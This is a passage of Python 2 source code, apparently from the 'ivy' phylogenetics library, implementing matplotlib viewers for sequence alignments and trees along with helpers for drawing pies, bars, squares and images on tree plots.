import MultipleSeqAlignment\n\nmatplotlib.rcParams['path.simplify'] = False\n\nclass UpdatingRect(Rectangle):\n    def __call__(self, p):\n        self.set_bounds(*p.viewLim.bounds)\n        p.figure.canvas.draw_idle()\n\nclass AlignmentFigure:\n    def __init__(self, aln, name=None, div=0.25, overview=True):\n        if isinstance(aln, MultipleSeqAlignment):\n            self.aln = aln\n        else:\n            self.aln = align.read(aln)\n        self.name = name\n        self.div_value = div\n        pars = SubplotParams(\n            left=0.2, right=1, bottom=0.05, top=1, wspace=0.01\n            )\n        fig = pyplot.figure(subplotpars=pars, facecolor=\"white\")\n        self.figure = fig\n        self.initialize_subplots(overview)\n        self.show()\n        self.connect_events()\n        \n    def initialize_subplots(self, overview=False):\n        ## p = AlignmentPlot(self.figure, 212, aln=self.aln)\n        p = AlignmentPlot(self.figure, 111, aln=self.aln, app=self)\n        self.detail = self.figure.add_subplot(p)\n        self.detail.plot_aln()\n        if overview:\n            self.overview = inset_axes(\n                self.detail, width=\"30%\", height=\"20%\", loc=1\n                )\n            self.overview.xaxis.set_major_locator(NullLocator())\n            self.overview.yaxis.set_major_locator(NullLocator())\n            self.overview.imshow(\n                self.detail.array, interpolation='nearest', aspect='auto',\n                origin='lower'\n                )\n            rect = UpdatingRect(\n                [0,0], 0, 0, facecolor='black', edgecolor='cyan', alpha=0.5\n                )\n            self.overview.zoomrect = rect\n            rect.target = self.detail\n            self.detail.callbacks.connect('xlim_changed', rect)\n            self.detail.callbacks.connect('ylim_changed', rect)\n            self.overview.add_patch(rect)\n            rect(self.overview)\n\n        else:\n            self.overview = None\n        \n    def show(self):\n        self.figure.show()\n\n    def connect_events(self):\n        mpl_connect = self.figure.canvas.mpl_connect\n        mpl_connect(\"button_press_event\", self.onclick)\n        mpl_connect(\"button_release_event\", self.onbuttonrelease)\n        mpl_connect(\"scroll_event\", self.onscroll)\n        mpl_connect(\"pick_event\", self.onpick)\n        mpl_connect(\"motion_notify_event\", self.ondrag)\n        mpl_connect(\"key_press_event\", self.onkeypress)\n        mpl_connect(\"axes_enter_event\", self.axes_enter)\n        mpl_connect(\"axes_leave_event\", self.axes_leave)\n\n    @staticmethod\n    def axes_enter(e):\n        ax = e.inaxes\n        ax._active = True\n\n    @staticmethod\n    def axes_leave(e):\n        ax = e.inaxes\n        ax._active = False\n\n    @staticmethod\n    def onselect(estart, estop):\n        b = estart.button\n        ## print b, estart.key\n\n    @staticmethod\n    def onkeypress(e):\n        ax = e.inaxes\n        k = e.key\n        if ax and k:\n            if k == 't':\n                ax.home()\n            elif k == \"down\":\n                ax.scroll(0, -0.1)\n            elif k == \"up\":\n                ax.scroll(0, 0.1)\n            elif k == \"left\":\n                ax.scroll(-0.1, 0)\n            elif k == \"right\":\n                ax.scroll(0.1, 0)\n            elif k in '=+':\n                ax.zoom(0.1,0.1)\n            elif k == '-':\n                ax.zoom(-0.1,-0.1)\n            ax.figure.canvas.draw_idle()\n\n    @staticmethod\n    def ondrag(e):\n        ax = e.inaxes\n        button = e.button\n        if ax and button == 2:\n            if not ax.pan_start:\n                ax.pan_start = (e.xdata, e.ydata)\n                return\n            x, y = ax.pan_start\n            xdelta = x - e.xdata\n            ydelta = y - e.ydata\n            x0, x1 = ax.get_xlim()\n            xspan = x1-x0\n            y0, y1 = ax.get_ylim()\n            yspan = y1 - y0\n            midx = (x1+x0)*0.5\n            midy = (y1+y0)*0.5\n            ax.set_xlim(midx+xdelta-xspan*0.5, midx+xdelta+xspan*0.5)\n            ax.set_ylim(midy+ydelta-yspan*0.5, midy+ydelta+yspan*0.5)\n            ax.figure.canvas.draw_idle()\n\n    @staticmethod\n    def onbuttonrelease(e):\n        ax = e.inaxes\n        button = e.button\n        if button == 2:\n            ## print \"pan end\"\n            ax.pan_start = None\n            ax.figure.canvas.draw_idle()\n\n    @staticmethod\n    def onpick(e):\n        ax = e.mouseevent.inaxes\n        if ax:\n            ax.picked(e)\n            ax.figure.canvas.draw_idle()\n\n    @staticmethod\n    def onscroll(e):\n        ax = e.inaxes\n        if ax:\n            b = e.button\n            ## print b\n            k = e.key\n            if k == None and b ==\"up\":\n                ax.zoom(0.1,0.1)\n            elif k == None and b ==\"down\":\n                ax.zoom(-0.1,-0.1)\n            elif k == \"shift\" and b == \"up\":\n                ax.zoom_cxy(0.1, 0, e.xdata, e.ydata)\n            elif k == \"shift\" and b == \"down\":\n                ax.zoom_cxy(-0.1, 0, e.xdata, e.ydata)\n            elif k == \"control\" and b == \"up\":\n                ax.zoom_cxy(0, 0.1, e.xdata, e.ydata)\n            elif k == \"control\" and b == \"down\":\n                ax.zoom_cxy(0, -0.1, e.xdata, e.ydata)\n            elif k == \"d\" and b == \"up\":\n                ax.scroll(0, 0.1)\n            elif (k == \"d\" and b == \"down\"):\n                ax.scroll(0, -0.1)\n            elif k == \"c\" and b == \"up\":\n                ax.scroll(-0.1, 0)\n            elif k == \"c\" and b == \"down\":\n                ax.scroll(0.1, 0)\n            ax.figure.canvas.draw_idle()\n\n    @staticmethod\n    def onclick(e):\n        ax = e.inaxes\n        if (ax and e.button==1 and hasattr(ax, \"zoomrect\") and ax.zoomrect):\n            # overview clicked; reposition zoomrect\n            r = ax.zoomrect\n            x = e.xdata\n            y = e.ydata\n            arr = ax.transData.inverted().transform(r.get_extents())\n            xoff = (arr[1][0]-arr[0][0])*0.5\n            yoff = (arr[1][1]-arr[0][1])*0.5\n            r.target.set_xlim(x-xoff,x+xoff)\n            r.target.set_ylim(y-yoff,y+yoff)\n            r(r.target)\n            ax.figure.canvas.draw_idle()\n\n        elif ax and e.button==2:\n            ## print \"pan start\", (e.xdata, e.ydata)\n            ax.pan_start = (e.xdata, e.ydata)\n            ax.figure.canvas.draw_idle()\n\n        elif ax and hasattr(ax, \"aln\") and ax.aln:\n            x = int(e.xdata+0.5); y = int(e.ydata+0.5)\n            aln = ax.aln\n            if (0 <= x <= ax.nchar) and (0 <= y <= ax.ntax):\n                seq = aln[y]; char = seq[x]\n                if char not in '-?':\n                    v = sequtil.gapidx(seq)\n                    i = (v[1]==x).nonzero()[0][0]\n                    print (\"%s: row %s, site %s: '%s', seqpos %s\"\n                           % (seq.id, y, x, char, i))\n                else:\n                    print \"%s: row %s, site %s: '%s'\" % (seq.id, y, x, char)\n\n    def zoom(self, factor=0.1):\n        \"Zoom both axes by *factor* (relative display size).\"\n        self.detail.zoom(factor, factor)\n        self.figure.canvas.draw_idle()\n\n    def __get_selection(self):\n        return self.detail.extract_selected()\n    selected = property(__get_selection)\n                \nclass Alignment(Axes):\n    \"\"\"\n    matplotlib.axes.Axes subclass for rendering sequence alignments.\n    \"\"\"\n    def __init__(self, fig, rect, *args, **kwargs):\n        self.aln = kwargs.pop(\"aln\")\n        nrows = len(self.aln)\n        ncols = self.aln.get_alignment_length()\n        self.alnidx = numpy.arange(ncols)\n        self.app = kwargs.pop(\"app\", None)\n        self.showy = kwargs.pop('showy', True)\n        Axes.__init__(self, fig, rect, *args, **kwargs)\n        rgb = mpl_colors.colorConverter.to_rgb\n        gray = rgb('gray')\n        d = defaultdict(lambda:gray)\n        d[\"A\"] = rgb(\"red\")\n        d[\"a\"] = rgb(\"red\")\n        d[\"C\"] = rgb(\"blue\")\n        d[\"c\"] = rgb(\"blue\")\n        d[\"G\"] = rgb(\"green\")\n        d[\"g\"] = rgb(\"green\")\n        d[\"T\"] = rgb(\"yellow\")\n        d[\"t\"] = rgb(\"yellow\")\n        self.cmap = d\n        self.selector = RectangleSelector(\n            self, self.select_rectangle, useblit=True\n            )\n        def f(e):\n            if e.button != 1: return True\n            else: return RectangleSelector.ignore(self.selector, e)\n        self.selector.ignore = f\n        self.selected_rectangle = Rectangle(\n            [0,0],0,0, facecolor='white', edgecolor='cyan', alpha=0.3\n            )\n        self.add_patch(self.selected_rectangle)\n        self.highlight_find_collection = None\n\n    def plot_aln(self):\n        cmap = self.cmap\n        self.ntax = len(self.aln); self.nchar = self.aln.get_alignment_length()\n        a = numpy.array([ [ cmap[base] for base in x.seq ]\n                          for x in self.aln ])\n        self.array = a\n        self.imshow(a, interpolation='nearest', aspect='auto', origin='lower')\n        y = [ i+0.5 for i in xrange(self.ntax) ]\n        labels = [ x.id for x in self.aln ]\n        ## locator.bin_boundaries(1,ntax)\n        ## locator.view_limits(1,ntax)\n        if self.showy:\n            locator = MaxNLocator(nbins=50, integer=True)\n            self.yaxis.set_major_locator(locator)\n            def fmt(x, pos=None):\n                if x<0: return \"\"\n                try: return labels[int(round(x))]\n                except: pass\n                return \"\"\n            self.yaxis.set_major_formatter(FuncFormatter(fmt))\n        else:\n            self.yaxis.set_major_locator(NullLocator())\n        \n        return self\n\n    def select_rectangle(self, e0, e1):\n        x0, x1 = map(int, sorted((e0.xdata+0.5, e1.xdata+0.5)))\n        y0, y1 = map(int, sorted((e0.ydata+0.5, e1.ydata+0.5)))\n        self.selected_chars = (x0, x1)\n        self.selected_taxa = (y0, y1)\n        self.selected_rectangle.set_bounds(x0-0.5,y0-0.5,x1-x0+1,y1-y0+1)\n        self.app.figure.canvas.draw_idle()\n\n    def highlight_find(self, substr):\n        if not substr:\n            if self.highlight_find_collection:\n                self.highlight_find_collection.remove()\n                self.highlight_find_collection = None\n            return\n            \n        N = len(substr)\n        v = []\n        for y, x in align.find(self.aln, substr):\n            r = Rectangle(\n                [x-0.5,y-0.5], N, 1,\n                facecolor='cyan', edgecolor='cyan', alpha=0.7\n                )\n            v.append(r)\n        if self.highlight_find_collection:\n            self.highlight_find_collection.remove()\n        c = PatchCollection(v, True)\n        self.highlight_find_collection = self.add_collection(c)\n        self.app.figure.canvas.draw_idle()\n\n    def extract_selected(self):\n        r0, r1 = self.selected_taxa\n        c0, c1 = self.selected_chars\n        return self.aln[r0:r1+1,c0:c1+1]\n\n    def zoom_cxy(self, x=0.1, y=0.1, cx=None, cy=None):\n        \"\"\"\n        Zoom the x and y axes in by the specified proportion of the\n        current view, with a fixed data point (cx, cy)\n        \"\"\"\n        transform = self.transData.inverted().transform\n        xlim = self.get_xlim(); xmid = sum(xlim)*0.5\n        ylim = self.get_ylim(); ymid = sum(ylim)*0.5\n        bb = self.get_window_extent()\n        bbx = bb.expanded(1.0-x,1.0-y)\n        points = transform(bbx.get_points())\n        x0, x1 = points[:,0]; y0, y1 = points[:,1]\n        deltax = xmid-x0; deltay = ymid-y0\n        cx = cx or xmid; cy = cy or ymid\n        xoff = (cx-xmid)*x\n        self.set_xlim(xmid-deltax+xoff, xmid+deltax+xoff)\n        yoff = (cy-ymid)*y\n        self.set_ylim(ymid-deltay+yoff, ymid+deltay+yoff)\n\n    def zoom(self, x=0.1, y=0.1, cx=None, cy=None):\n        \"\"\"\n        Zoom the x and y axes in by the specified proportion of the\n        current view.\n        \"\"\"\n        # get the function to convert display coordinates to data\n        # coordinates\n        transform = self.transData.inverted().transform\n        xlim = self.get_xlim()\n        ylim = self.get_ylim()\n        bb = self.get_window_extent()\n        bbx = bb.expanded(1.0-x,1.0-y)\n        points = transform(bbx.get_points())\n        x0, x1 = points[:,0]; y0, y1 = points[:,1]\n        deltax = x0 - xlim[0]; deltay = y0 - ylim[0]\n        self.set_xlim(xlim[0]+deltax, xlim[1]-deltax)\n        self.set_ylim(ylim[0]+deltay, ylim[1]-deltay)\n\n    def center_y(self, y):\n        ymin, ymax = self.get_ylim()\n        yoff = (ymax - ymin) * 0.5\n        self.set_ylim(y-yoff, y+yoff)\n\n    def center_x(self, x, offset=0.3):\n        xmin, xmax = self.get_xlim()\n        xspan = xmax - xmin\n        xoff = xspan*0.5 + xspan*offset\n        self.set_xlim(x-xoff, x+xoff)\n\n    def scroll(self, x, y):\n        x0, x1 = self.get_xlim()\n        y0, y1 = self.get_ylim()\n        xd = (x1-x0)*x\n        yd = (y1-y0)*y\n        self.set_xlim(x0+xd, x1+xd)\n        self.set_ylim(y0+yd, y1+yd)\n\n    def home(self):\n        self.set_xlim(0, self.nchar)\n        self.set_ylim(self.ntax, 0)\n\nAlignmentPlot = subplot_class_factory(Alignment)\n\n", "ivy/vis/hardcopy.py": "import os, matplotlib\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nimport tree\nfrom axes_utils import adjust_limits\nimport tempfile\n\n## class TreeFigure:\n##     def __init__(self):\n##         pass\n\nmatplotlib.rcParams[\"xtick.direction\"] = \"out\"\n\nclass TreeFigure:\n    def __init__(self, root, relwidth=0.5, leafpad=1.5, name=None,\n                 support=70.0, scaled=True, mark_named=True,\n                 leaf_fontsize=10, branch_fontsize=10,\n                 branch_width=1, branch_color=\"black\",\n                 highlight_support=True,\n                 branchlabels=True, leaflabels=True, decorators=[],\n                 xoff=0, yoff=0,\n                 xlim=None, ylim=None,\n                 height=None, width=None):\n        self.root = root\n        self.relwidth = relwidth\n        self.leafpad = leafpad\n        self.name = name\n        self.support = support\n        self.scaled = scaled\n        self.mark_named = mark_named\n        self.leaf_fontsize = leaf_fontsize\n        self.branch_fontsize = branch_fontsize\n        self.branch_width = branch_width\n        self.branch_color = branch_color\n        self.highlight_support = highlight_support\n        self.branchlabels = branchlabels\n        self.leaflabels = leaflabels\n        self.decorators = decorators\n        self.xoff = xoff\n        self.yoff = yoff\n\n        nleaves = len(root.leaves())\n        self.dpi = 72.0\n        h = height or (nleaves*self.leaf_fontsize*self.leafpad)/self.dpi\n        self.height = h\n        self.width = width or self.height*self.relwidth\n        ## p = min(self.width, self.height)*0.1\n        ## self.height += p\n        ## self.width += p\n        self.figure = Figure(figsize=(self.width, self.height), dpi=self.dpi)\n        self.canvas = FigureCanvas(self.figure)\n        self.axes = self.figure.add_axes(\n            tree.TreePlot(self.figure, 1,1,1,\n                          support=self.support,\n                          scaled=self.scaled,\n                          mark_named=self.mark_named,\n                          leaf_fontsize=self.leaf_fontsize,\n                          branch_fontsize=self.branch_fontsize,\n                          branch_width=self.branch_width,\n                          branch_color=self.branch_color,\n                          highlight_support=self.highlight_support,\n                          branchlabels=self.branchlabels,\n                          leaflabels=self.leaflabels,\n                          interactive=False,\n                          decorators=self.decorators,\n                          xoff=self.xoff, yoff=self.yoff,\n                          name=self.name).plot_tree(self.root)\n            )\n        self.axes.spines[\"top\"].set_visible(False)\n        self.axes.spines[\"left\"].set_visible(False)\n        self.axes.spines[\"right\"].set_visible(False)\n        self.axes.spines[\"bottom\"].set_smart_bounds(True)\n        self.axes.xaxis.set_ticks_position(\"bottom\")\n\n        for v in self.axes.node2label.values():\n            v.set_visible(True)\n\n        ## for k, v in self.decorators:\n        ##     func, args, kwargs = v\n        ##     func(self.axes, *args, **kwargs)\n\n        self.canvas.draw()\n        ## self.axes.home()\n        ## adjust_limits(self.axes)\n        self.axes.set_position([0.05,0.05,0.95,0.95])\n\n    @property\n    def detail(self):\n        return self.axes\n        \n    def savefig(self, fname):\n        root, ext = os.path.splitext(fname)\n        buf = tempfile.TemporaryFile()\n        for i in range(3):\n            self.figure.savefig(buf, format=ext[1:].lower())\n            self.home()\n            buf.seek(0)\n        buf.close()\n        self.figure.savefig(fname)\n\n    def set_relative_width(self, relwidth):\n        w, h = self.figure.get_size_inches()\n        self.figure.set_figwidth(h*relwidth)\n\n    def autoheight(self):\n        \"adjust figure height to show all leaf labels\"\n        nleaves = len(self.root.leaves())\n        h = (nleaves*self.leaf_fontsize*self.leafpad)/self.dpi\n        self.height = h\n        self.figure.set_size_inches(self.width, self.height)\n        self.axes.set_ylim(-2, nleaves+2)\n\n    def home(self):\n        self.axes.home()\n", "ivy/vis/symbols.py": "\"\"\"\nConvenience functions for drawing shapes on TreePlots.\n\"\"\"\ntry:\n    import Image\nexcept ImportError:\n    from PIL import Image\nfrom numpy import pi\nfrom matplotlib.collections import RegularPolyCollection, CircleCollection\nfrom matplotlib.transforms import offset_copy\nfrom matplotlib.patches import Rectangle, Wedge, Circle, PathPatch\nfrom matplotlib.offsetbox import DrawingArea\nfrom itertools import izip_longest\nfrom matplotlib.axes import Axes\nfrom numpy import array\nfrom matplotlib.path import Path\n\n\ntry:\n    from matplotlib.offsetbox import OffsetImage, AnnotationBbox\nexcept ImportError:\n    pass\nfrom ..tree import Node\nimport colors as _colors\n\ndef _xy(plot, p):\n    if isinstance(p, Node):\n        c = plot.n2c[p]\n        p = (c.x, c.y)\n    elif isinstance(p, (list, tuple)):\n        p = [ _xy(plot, x) for x in p ]\n    else:\n        pass\n    return p\n\n\n\ndef image(plot, p, imgfile,\n          maxdim=100, border=0,\n          xoff=4, yoff=4,\n          halign=0.0, valign=0.5,\n          xycoords='data',\n          boxcoords=('offset points')):\n    \"\"\"\n    Add images to plot\n\n    Args:\n        plot (Tree): A Tree plot instance\n        p (Node): A node object\n        imgfile (str): A path to an image\n        maxdim (float): Maximum dimension of image. Optional,\n          defaults to 100.\n        border: RR: What does border do? -CZ\n        xoff, yoff (float): X and Y offset. Optional, defaults to 4\n        halign, valign (float): Horizontal and vertical alignment within\n          box. Optional, defaults to 0.0 and 0.5, respectively.\n\n    \"\"\"\n    if xycoords == \"label\":\n        xycoords = plot.node2label[p]\n        x, y = (1, 0.5)\n    else:\n        x, y = _xy(plot, p)\n    img = Image.open(imgfile)\n    if max(img.size) > maxdim:\n        img.thumbnail((maxdim, maxdim))\n    imgbox = OffsetImage(img)\n    abox = AnnotationBbox(imgbox, (x, y),\n                          xybox=(xoff, yoff),\n                          xycoords=xycoords,\n                          box_alignment=(halign,valign),\n                          pad=0.0,\n                          boxcoords=boxcoords)\n    plot.add_artist(abox)\n    plot.figure.canvas.draw_idle()\n\ndef images(plot, p, imgfiles,\n          maxdim=100, border=0,\n          xoff=4, yoff=4,\n          halign=0.0, valign=0.5,\n          xycoords='data', boxcoords=('offset points')):\n    \"\"\"\n    Add many images to plot at once\n\n    Args:\n        Plot (Tree): A Tree plot instance\n        p (list): A list of node objects\n        imgfile (list): A list of strs containing paths to image files.\n          Must be the same length as p.\n        maxdim (float): Maximum dimension of image. Optional,\n          defaults to 100.\n        border: RR: What does border do? -CZ\n        xoff, yoff (float): X and Y offset. Optional, defaults to 4\n        halign, valign (float): Horizontal and vertical alignment within\n          box. Optional, defaults to 0.0 and 0.5, respectively.\n\n    \"\"\"\n    for x, f in zip(p, imgfiles):\n        image(plot, x, f, maxdim, border, xoff, yoff, halign, valign,\n              xycoords, boxcoords)\n\ndef pie(plot, p, values, colors=None, size=16, norm=True,\n        xoff=0, yoff=0,\n        halign=0.5, valign=0.5,\n        xycoords='data', boxcoords=('offset points')):\n    \"\"\"\n    Draw a pie chart\n\n    Args:\n    plot (Tree): A Tree plot instance\n    p (Node): A Node object\n    values (list): A list of floats.\n    colors (list): A list of strings to pull colors from. Optional.\n    size (float): Diameter of the pie chart\n    norm (bool): Whether or not to normalize the values so they\n      add up to 360\n    xoff, yoff (float): X and Y offset. Optional, defaults to 0\n    halign, valign (float): Horizontal and vertical alignment within\n      box. Optional, defaults to 0.5\n\n    \"\"\"\n    x, y = _xy(plot, p)\n    da = DrawingArea(size, size); r = size*0.5; center = (r,r)\n    x0 = 0\n    S = 360.0\n    if norm: S = 360.0/sum(values)\n    if not colors:\n        c = _colors.tango()\n        colors = [ c.next() for v in values ]\n    for i, v in enumerate(values):\n        theta = v*S\n        if v: da.add_artist(Wedge(center, r, x0, x0+theta,\n                                  fc=colors[i], ec='none'))\n        x0 += theta\n    box = AnnotationBbox(da, (x,y), pad=0, frameon=False,\n                         xybox=(xoff, yoff),\n                         xycoords=xycoords,\n                         box_alignment=(halign,valign),\n                         boxcoords=boxcoords)\n    plot.add_artist(box)\n    plot.figure.canvas.draw_idle()\n    return box\n\ndef hbar(plot, p, values, colors=None, height=16,\n         xoff=0, yoff=0,\n         halign=1, valign=0.5,\n         xycoords='data', boxcoords=('offset points')):\n    x, y = _xy(plot, p)\n    h = height; w = sum(values) * height#; yoff=h*0.5\n    da = DrawingArea(w, h)\n    x0 = -sum(values)\n    if not colors:\n        c = _colors.tango()\n        colors = [ c.next() for v in values ]\n    for i, v in enumerate(values):\n        if v: da.add_artist(Rectangle((x0,0), v*h, h, fc=colors[i], ec='none'))\n        x0 += v*h\n    box = AnnotationBbox(da, (x,y), pad=0, frameon=False,\n                         xybox=(xoff, yoff),\n                         xycoords=xycoords,\n                         box_alignment=(halign,valign),\n                         boxcoords=boxcoords)\n    plot.add_artist(box)\n    plot.figure.canvas.draw_idle()\n\ndef hbars(plot, p, values, colors=None, height=16,\n          xoff=0, yoff=0,\n          halign=1, valign=0.5,\n          xycoords='data', boxcoords=('offset points')):\n    for x, v in zip(p, values):\n        hbar(plot, x, v, colors, height, xoff, yoff, halign, valign,\n             xycoords, boxcoords)\n\ndef squares(plot, p, colors='r', size=15, xoff=0, yoff=0, alpha=1.0,\n            zorder=1000):\n    \"\"\"\n    Draw a square at given node\n\n    Args:\n        plot (Tree): A Tree plot instance\n        p: A node or list of nodes\n        colors: Str or list of strs. Colors of squares to be drawn.\n          Optional, defaults to 'r' (red)\n        size (float): Size of the squares. Optional, defaults to 15\n        xoff, yoff (float): Offset for x and y dimensions. Optional,\n          defaults to 0.\n        alpha (float): between 0 and 1. Alpha transparency of squares.\n          Optional, defaults to 1 (fully opaque)\n        zorder (int): The drawing order. Higher numbers appear on top\n          of lower numbers. Optional, defaults to 1000.\n\n    \"\"\"\n    points = _xy(plot, p)\n    trans = offset_copy(\n        plot.transData, fig=plot.figure, x=xoff, y=yoff, units='points')\n\n    col = RegularPolyCollection(\n        numsides=4, rotation=pi*0.25, sizes=(size*size,),\n        offsets=points, facecolors=colors, transOffset=trans,\n        edgecolors='none', alpha=alpha, zorder=zorder\n        )\n\n    plot.add_collection(col)\n    plot.figure.canvas.draw_idle()\n\ndef tipsquares(plot, p, colors='r', size=15, pad=2, edgepad=10):\n    \"\"\"\n    RR: Bug with this function. If you attempt to call it with a list as an\n    argument for p, it will not only not work (expected) but it will also\n    make it so that you can't interact with the tree figure (gives errors when\n    you try to add symbols, select nodes, etc.) -CZ\n\n    Add square after tip label, anchored to the side of the plot\n\n    Args:\n        plot (Tree): A Tree plot instance.\n        p (Node): A Node object (Should be a leaf node).\n        colors (str): olor of drawn square. Optional, defaults to 'r' (red)\n        size (float): Size of square. Optional, defaults to 15\n        pad: RR: I am unsure what this does. Does not seem to have visible\n          effect when I change it. -CZ\n        edgepad (float): Padding from square to edge of plot. Optional,\n          defaults to 10.\n\n    \"\"\"\n    x, y = _xy(plot, p) # p is a single node or point in data coordinates\n    n = len(colors)\n    da = DrawingArea(size*n+pad*(n-1), size, 0, 0)\n    sx = 0\n    for c in colors:\n        sq = Rectangle((sx,0), size, size, color=c)\n        da.add_artist(sq)\n        sx += size+pad\n    box = AnnotationBbox(da, (x, y), xybox=(-edgepad,y),\n                         frameon=False,\n                         pad=0.0,\n                         xycoords='data',\n                         box_alignment=(1, 0.5),\n                         boxcoords=('axes points','data'))\n    plot.add_artist(box)\n    plot.figure.canvas.draw_idle()\n\n\ndef circles(plot, p, colors='g', size=15, xoff=0, yoff=0):\n    \"\"\"\n    Draw circles on plot\n\n    Args:\n        plot (Tree): A Tree plot instance\n        p: A node object or list of Node objects\n        colors: Str or list of strs. Colors of the circles. Optional,\n          defaults to 'g' (green)\n        size (float): Size of the circles. Optional, defaults to 15\n        xoff, yoff (float): X and Y offset. Optional, defaults to 0.\n\n    \"\"\"\n    points = _xy(plot, p)\n    trans = offset_copy(\n        plot.transData, fig=plot.figure, x=xoff, y=yoff, units='points'\n        )\n\n    col = CircleCollection(\n        sizes=(pi*size*size*0.25,),\n        offsets=points, facecolors=colors, transOffset=trans,\n        edgecolors='none'\n        )\n\n    plot.add_collection(col)\n    plot.figure.canvas.draw_idle()\n    return col\n\ndef legend(plot, colors, labels, shape='rectangle', loc='upper left', **kwargs):\n    \"\"\"\n    RR: the MPL legend function has changed since this function has been\n    written. This function currently does not work. -CZ\n    \"\"\"\n    if shape == 'circle':\n        shapes = [ Circle((0.5,0.5), radius=1, fc=c) for c in colors ]\n        #shapes = [ CircleCollection([10],facecolors=[c]) for c in colors ]\n    else:\n        shapes = [ Rectangle((0,0),1,1,fc=c,ec='none') for c in colors ]\n\n    return Axes.legend(plot, shapes, labels, loc=loc, **kwargs)\n\ndef leafspace_triangles(plot, color='black', rca=0.5):\n    \"\"\"\n    RR: Using this function on the primates tree (straight from the newick file)\n    gives error: 'Node' object has no attribute 'leafspace'. How do you give\n    nodes the leafspace attribute? -CZ\n    rca = relative crown age\n    \"\"\"\n    leaves = plot.root.leaves()\n    leafspace = [ float(x.leafspace) for x in leaves ]\n    #leafspace = array(raw_leafspace)/(sum(raw_leafspace)/float(len(leaves)))\n    pv = []\n    for i, n in enumerate(leaves):\n        if leafspace[i] > 0:\n            p = plot.n2c[n]\n            pp = plot.n2c[n.parent]\n            spc = leafspace[i]\n            yoff = spc/2.0\n            x0 = pp.x + (p.x - pp.x)*rca\n            verts = [(x0, p.y),\n                     (p.x, p.y-yoff),\n                     (p.x, p.y+yoff),\n                     (x0, p.y)]\n            codes = [Path.MOVETO, Path.LINETO, Path.LINETO, Path.CLOSEPOLY]\n            path = Path(verts, codes)\n            patch = PathPatch(path, fc=color, lw=0)\n            pv.append(plot.add_patch(patch))\n    return pv\n\ndef text(plot, x, y, s, color='black', xoff=0, yoff=0, valign='center',\n         halign='left', fontsize=10):\n    \"\"\"\n    Add text to the plot.\n\n    Args:\n        plot (Tree): A Tree plot instance\n        x, y (float): x and y coordinates to place the text\n        s (str): The text to write\n        color (str): The color of the text. Optional, defaults to \"black\"\n        xoff, yoff (float): x and y offset\n        valign (str): Vertical alignment. Can be: 'center', 'top',\n          'bottom', or 'baseline'. Defaults to 'center'.\n        halign (str): Horizontal alignment. Can be: 'center', 'right',\n          or 'left'. Defaults to 'left'\n        fontsize (float): Font size. Optional, defaults to 10\n\n    \"\"\"\n    txt = plot.annotate(\n        s, xy=(x, y),\n        xytext=(xoff, yoff),\n        textcoords=\"offset points\",\n        verticalalignment=valign,\n        horizontalalignment=halign,\n        fontsize=fontsize,\n        clip_on=True,\n        picker=True\n    )\n    txt.set_visible(True)\n    return txt\n", "ivy/vis/tree.py": "\"\"\"\ninteractive viewers for trees, etc. using matplotlib\n\"\"\"\nimport sys, time, bisect, math, types, os, operator\nfrom collections import defaultdict\nfrom itertools import chain\nfrom pprint import pprint\nfrom .. import tree, bipart\nfrom ..layout import cartesian\nfrom ..storage import Storage\nfrom .. import pyperclip as clipboard\n#from ..nodecache import NodeCache\nimport matplotlib, numpy\nimport matplotlib.pyplot as pyplot\nfrom matplotlib.figure import SubplotParams, Figure\nfrom matplotlib.axes import Axes, subplot_class_factory\nfrom matplotlib.patches import PathPatch, Rectangle, Arc\nfrom matplotlib.path import Path\nfrom matplotlib.widgets import RectangleSelector\nfrom matplotlib.transforms import Bbox, offset_copy, IdentityTransform, \\\n     Affine2D\nfrom matplotlib import cm as mpl_colormap\nfrom matplotlib import colors as mpl_colors\nfrom matplotlib.colorbar import Colorbar\nfrom matplotlib.collections import RegularPolyCollection, LineCollection, \\\n     PatchCollection\nfrom matplotlib.lines import Line2D\ntry:\n    from matplotlib.offsetbox import OffsetImage, AnnotationBbox\nexcept ImportError:\n    pass\nfrom matplotlib._png import read_png\nfrom matplotlib.ticker import MaxNLocator, FuncFormatter, NullLocator\nfrom mpl_toolkits.axes_grid.anchored_artists import AnchoredText\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\nimport symbols, colors\nimport hardcopy as HC\ntry:\n    import Image\nexcept ImportError:\n    from PIL import Image\n\n#matplotlib.rcParams['path.simplify'] = False\n\n_tango = colors.tango()\nclass TreeFigure(object):\n    \"\"\"\n    Window for showing a single tree, optionally with split overview\n    and detail panes.\n\n    The navigation toolbar at the bottom is provided by matplotlib\n    (http://matplotlib.sf.net/users/navigation_toolbar.html).  Its\n    pan/zoom button and zoom-rectangle button provide different modes\n    of mouse interaction with the figure.  When neither of these\n    buttons are checked, the default mouse bindings are as follows:\n\n    * button 1 drag: select nodes - retrieve by calling fig.selected\n    * button 3 drag: pan view\n    * scroll up/down: zoom in/out\n    * scroll up/down with Control key: zoom y-axis\n    * scroll up/down with Shift key: zoom x-axis\n    * scroll up/down with 'd' key: pan view up/down\n    * scroll up/down with 'e' key: pan view left/right\n    * click on overview will center the detail pane on that region\n\n    Default keybindings:\n\n    * t: zoom out to full extent\n    * +/-: zoom in/out\n\n    Useful attributes and methods (assume an instance named *fig*):\n\n    * fig.root - the root node (see [Node methods])\n    * fig.highlight(s) - highlight and trace nodes with substring *s*\n    * fig.zoom_clade(anc) - zoom to view node *anc* and all its descendants\n    * fig.toggle_overview() - toggle visibility of the overview pane\n    * fig.toggle_branchlabels() - ditto for branch labels\n    * fig.toggle_leaflabels() - ditto for leaf labels\n    * fig.decorate(func) - decorate the tree with a function (see\n      :ref:`decorating TreeFigures <decorating-trees>`)\n    \"\"\"\n    def __init__(self, data, name=None, scaled=True, div=0.25,\n                 branchlabels=True, leaflabels=True, mark_named=True,\n                 highlight_support=True, xoff=0, yoff=0,\n                 overview=True, radial=False):\n        self.overview = None\n        self.overview_width = div\n        self.dataplot = None\n        self.dataplot_width = 0.25\n        self.name = name\n        self.scaled = scaled\n        self.branchlabels = branchlabels\n        self.leaflabels = leaflabels\n        self.mark_named = mark_named\n        self.xoff = xoff\n        self.yoff = yoff\n        self.radial = radial\n        if radial:\n            self.leaflabels = False\n        self.highlighted = set()\n        self.highlight_support = highlight_support\n        if isinstance(data, tree.Node):\n            root = data\n        else:\n            root = tree.read(data)\n        self.root = root\n        if not self.root:\n            raise IOError, \"cannot coerce data into tree.Node\"\n        self.name = self.name or root.treename\n        pars = SubplotParams(\n            left=0, right=1, bottom=0.05, top=1, wspace=0.01\n            )\n        fig = 